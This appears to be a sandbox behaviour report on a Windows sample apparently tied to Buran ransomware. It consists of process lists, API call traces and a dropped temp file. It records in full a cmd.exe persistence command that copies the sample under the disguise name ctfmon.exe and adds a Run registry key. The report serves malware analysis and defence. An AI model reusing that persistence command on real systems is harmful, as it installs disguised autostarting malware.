ba809c00...dd22

Monitored Processes

Process Overview

ID	PID	Monitor Reason	Integrity Level	Image Name	Command Line	Origin ID
#1	0xfc0	Analysis Target	High (Elevated)	2.exe	"C:\Users\FD1HVy\Desktop\2.exe"	-
#2	0xfcc	Child Process	High (Elevated)	cmd.exe	"C:\WINDOWS\system32\cmd.exe" /e:on /c md "C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows" & copy "C:\Users\FD1HVy\Desktop\2.exe" "C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe" & reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ctfmon.exe" /t REG_SZ /F /D "\"C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe\" *"	#1
#4	0xfdc	Child Process	High (Elevated)	reg.exe	reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ctfmon.exe" /t REG_SZ /F /D "\"C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe\" *"	#2
#6	0xe0c	Child Process	High (Elevated)	ctfmon.exe	"C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe" *	#1
#7	0xd34	Autostart	Medium	ctfmon.exe	"C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe" *	-

Behavior Information - Sequential View

Process #1: 2.exe

425

Information	Value
ID	#1
File Name	c:\users\fd1hvy\desktop\2.exe
Command Line	"C:\Users\FD1HVy\Desktop\2.exe"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:00:51, Reason: Analysis Target
Unmonitor	End Time: 00:01:29, Reason: Self Terminated
Monitor Duration	00:00:38

OS Process Information

Information	Value
PID	0xfc0
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x FE8 0x F00 0x F04 0x F98 0x 794 0x A90 0x CB8 0x 46C 0x 37C 0x 468

Memory Dumps

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
2.exe	0x00400000	0x00439FFF	Relevant Image	-	32-bit	-			... Region Actions Download Dump
2.exe	0x00400000	0x00439FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Dropped Files

Filename	File Size	Hash Values	YARA Match	Actions
C:\Users\FD1HVy\AppData\Local\Temp\800DA69A.buran	1 bytes	MD5: 93b885adfe0da089cdf634904fd59f71 SHA1: 5ba93c9db0cff93f52b521d7420e43f6eda2784f SHA256: 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d SSDeep: 3::		... File Actions Show Properties Download

Threads

Thread 0xfe8

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\users\fd1hvy\desktop\2.exe, base_address = 0x400000	1	Fn
Keyboard	Get Info	type = 0, result_out = 4	1	Fn
Module	Get Filename	module_name = c:\users\fd1hvy\desktop\2.exe, process_name = c:\users\fd1hvy\desktop\2.exe, file_name_orig = C:\Users\FD1HVy\Desktop\2.exe, size = 261	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\2.exe, file_name_orig = C:\Users\FD1HVy\Desktop\2.exe, size = 261	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Borland\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Borland\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	1	Fn
Module	Load	module_name = C:\Users\FD1HVy\Desktop\2.ENU, base_address = 0x0	1	Fn
Module	Load	module_name = C:\Users\FD1HVy\Desktop\2.EN, base_address = 0x0	1	Fn
System	Get Info	type = Operating System	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDiskFreeSpaceExA, address_out = 0x75efee90	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\oleaut32.dll, base_address = 0x75bb0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VariantChangeTypeEx, address_out = 0x75bca610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarNeg, address_out = 0x75c152c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarNot, address_out = 0x75c16560	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarAdd, address_out = 0x75bed610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarSub, address_out = 0x75bee3e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarMul, address_out = 0x75bedb10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarDiv, address_out = 0x75c15800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarIdiv, address_out = 0x75c161a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarMod, address_out = 0x75c16400	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarAnd, address_out = 0x75be3200	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarOr, address_out = 0x75c16610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarXor, address_out = 0x75c167b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarCmp, address_out = 0x75bd60b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarI4FromStr, address_out = 0x75bd6ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarR4FromStr, address_out = 0x75be3010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarR8FromStr, address_out = 0x75be3630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarDateFromStr, address_out = 0x75bd8b90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarCyFromStr, address_out = 0x75bc2d90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBoolFromStr, address_out = 0x75bd48f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromCy, address_out = 0x75bd7f50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromDate, address_out = 0x75bd89c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromBool, address_out = 0x75bd48a0	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes, value_name = MS Shell Dlg 2, data = 0, type = REG_SZ	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes, value_name = MS Shell Dlg 2, data = Tahoma, type = REG_SZ	1	Fn
System	Get Time	type = Performance Ctr, time = 15309958561	1	Fn
Module	Get Filename	module_name = C:\Users\FD1HVy\Desktop\2.EN, process_name = c:\users\fd1hvy\desktop\2.exe, file_name_orig = C:\Users\FD1HVy\Desktop\2.exe, size = 261	1	Fn
Environment	Get Environment String	name = TEMP, result_out = C:\Users\FD1HVy\AppData\Local\Temp	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Temp\800DA69A.buran, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Temp\800DA69A.buran, size = 1	1	Fn Data
System	Sleep	duration = 100 milliseconds (0.100 seconds)	5	Fn
File	Delete	filename = C:\Users\FD1HVy\AppData\Local\Temp\800DA69A.buran	1	Fn
Module	Get Filename	module_name = C:\Users\FD1HVy\Desktop\2.EN, process_name = c:\users\fd1hvy\desktop\2.exe, file_name_orig = C:\Users\FD1HVy\Desktop\2.exe, size = 261	1	Fn
Environment	Get Environment String	name = TEMP, result_out = C:\Users\FD1HVy\AppData\Local\Temp	1	Fn
Environment	Get Environment String	name = APPDATA, result_out = C:\Users\FD1HVy\AppData\Roaming	1	Fn
Module	Get Filename	module_name = C:\Users\FD1HVy\Desktop\2.EN, process_name = c:\users\fd1hvy\desktop\2.exe, file_name_orig = C:\Users\FD1HVy\Desktop\2.exe, size = 522	1	Fn
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cmd.exe, os_pid = 0xfcc, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, show_window = SW_SHOWNORMAL	1	Fn

Thread 0xf98

366

Category	Operation	Information	Count	Logfile
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
